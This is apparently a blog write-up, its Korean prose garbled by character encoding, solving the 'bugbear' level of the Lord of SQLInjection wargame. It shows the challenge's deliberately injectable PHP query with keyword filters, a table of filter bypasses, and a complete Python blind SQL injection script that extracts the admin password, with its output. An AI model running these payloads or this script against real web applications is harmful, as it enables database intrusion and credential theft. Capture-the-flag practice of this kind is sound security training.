1. Code
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
highlight_file(__FILE__);
?>
2. Condition
' substr ascii = or and ๊ณต๋ฐฑ like 0x ๋ฅผ ํํฐ๋ง ํ๋ค.
์๋ pw๊ฐ ๋น๊ต ๋ถ๋ถ์ ๋ณด๋ฉด ์ ์ ์๋ฏ์ด blind-sqlinjection ๋ฌธ์ ์ด๋ค.
3. Solution
Python์ ์คํฌ๋ฆฝํธ๋ฅผ ์์ฑํ๋ฉฐ ์ฐจ๊ทผ์ฐจ๊ทผ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํด ๋๊ฐ๋ณด์.
ํฌ๊ฒ ๋ ๋ถ๋ถ์ผ๋ก ๋๋์ด ๊ธธ์ด๋ถํฐ, pw ๊ฐ๊น์ง ์งํํด ๋ณด์๋ค.
a. Length of pw
๋ณ์๋ช | ๊ฐ |
no | 1234||id%0ain("admin")&&length(pw)<i |
&๋ url์์ ์ฝ์๋ ๊ธฐ๋ฅ์ด ์์ผ๋ฏ๋ก, %26์ผ๋ก ์ธ์ฝ๋ฉ ํ์ฌ ์์ฑํ์๋ค.
๋ํ, ๊ฐ์ฅ ๋ง์ง๋ง i ๋ python ์คํฌ๋ฆฝํธ๋ฅผ ํตํด ์๋ฅผ ์ง์ด๋ฃ์ ๊ฒ์ด๋ค.
์ฐํ๋ฅผ ์ดํดํ๊ธฐ ์ํด์ ๋ณธ๋ ๊ธฐ๋ณธ ๊ตฌ๋ฌธ์ ์ฐธ๊ณ ํ๋ฉด ์ฝ๋ค.
1234 or id = 'admin' and length(pw)=1
์ฐํํ ๋ด์ฉ์ ํ๋ก ๋ณด๊ธฐ์ข๊ฒ ์ ๋ฆฌํด๋ณด๊ฒ ๋ค.
๊ธฐ๋ณธ | ์ฐํ |
or | || |
๊ณต๋ฐฑ(%20) | ๊ฐํ(%0a) |
= | in, < |
' | " |
and | & |
= ์ ์ฐํํ๊ธฐ ์ํด ์ฌ์ฉํ ํจ์ in์, list์ ํ๋๋ผ๋ ๊ฐ์ ๊ฐ์ด ์๋ค๋ฉด ์ฐธ์ ๋ด๋ณด๋ด๋ ํจ์์ด๋ค.
์ฟผ๋ฆฌ๋ฅผ ๋ณด๋ด๋ณด๋ฉด, Hello admin์ด ์ฑ๊ณต์ ์ผ๋ก ๋์จ๋ค.
๋ชจ๋ ์๋ค์ํผ ์ด๋ ์ฐ๋ฆฌ๊ฐ blind-sqlinjection์ ์ฌ์ฉ๋ ์ฐธ/๊ฑฐ์ง ๊ตฌ๋ถ์ ์ด ๋ ๊ฒ์ด๋ค.
b. Value of pw
๋ค์์ ์ ํํ pw ๊ฐ์ ๊ตฌํ ๊ฒ์ด๋ค.
๋ณ์๋ช | ๊ฐ |
no | 1234||id%0ain("admin")&&hex(mid(pw,i,1))<hex(j) |
๊ธฐ๋ณธ๊ตฌ๋ฌธ๊ณผ ์ฐํ ๋ด์ฉ์ ๋ค์๊ณผ ๊ฐ๋ค.
1234 or id = 'admin' and ascii(substr(pw,i,1))=j
๊ธฐ๋ณธ | ์ฐํ |
ascii | hex |
substr | mid |
์ด์ python ์คํฌ๋ฆฝํธ๋ฅผ ์์ฑํด๋ณด์.
import requests
cookie = {'PHPSESSID' : '~~~~'}
for i in range(1,21):
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?\
no=1234%%0a||%%0aid%%0ain%%0a(\"admin\")%%0a%%26%%26%%0alength(pw)<%d" % i
res = requests.get(url, cookies=cookie)
if "Hello admin" in res.text:
pw_len = i-1
print("Length of pw : %d" % pw_len)
break
pw_value = ""
for i in range(pw_len):
for j in range(33,127):
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?\
no=1234%%0a||%%0aid%%0ain%%0a(\"admin\")%%0a%%26%%26%%0ahex(mid(pw,%d,1))<hex(%d)" % (i+1, j)
res = requests.get(url, cookies=cookie)
if "Hello admin" in res.text:
pw_value += chr(j-1)
print("pw(%d) : %s" % (i+1, pw_value))
break
์คํ ๊ฒฐ๊ณผ๋ ์๋์ ๊ฐ๋ค.
Length of pw : 8
pw(1) : 5
pw(2) : 52
pw(3) : 52d
pw(4) : 52dc
pw(5) : 52dc3
pw(6) : 52dc39
pw(7) : 52dc399
pw(8) : 52dc3991
๊ฒฐ๊ณผ์ ์ผ๋ก ๋์จ pw๊ฐ์ ๋ณด๋ด์ฃผ๋ฉด ๋ฌธ์ ๊ฐ ํด๊ฒฐ๋๋ค.
'wargame ๐ดโโ ๏ธ write-up > Lord of SQLInjection' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
assasin (0) | 2023.08.01 |
---|---|
giant (0) | 2023.08.01 |
darkknight (0) | 2022.04.02 |
golem (0) | 2022.04.02 |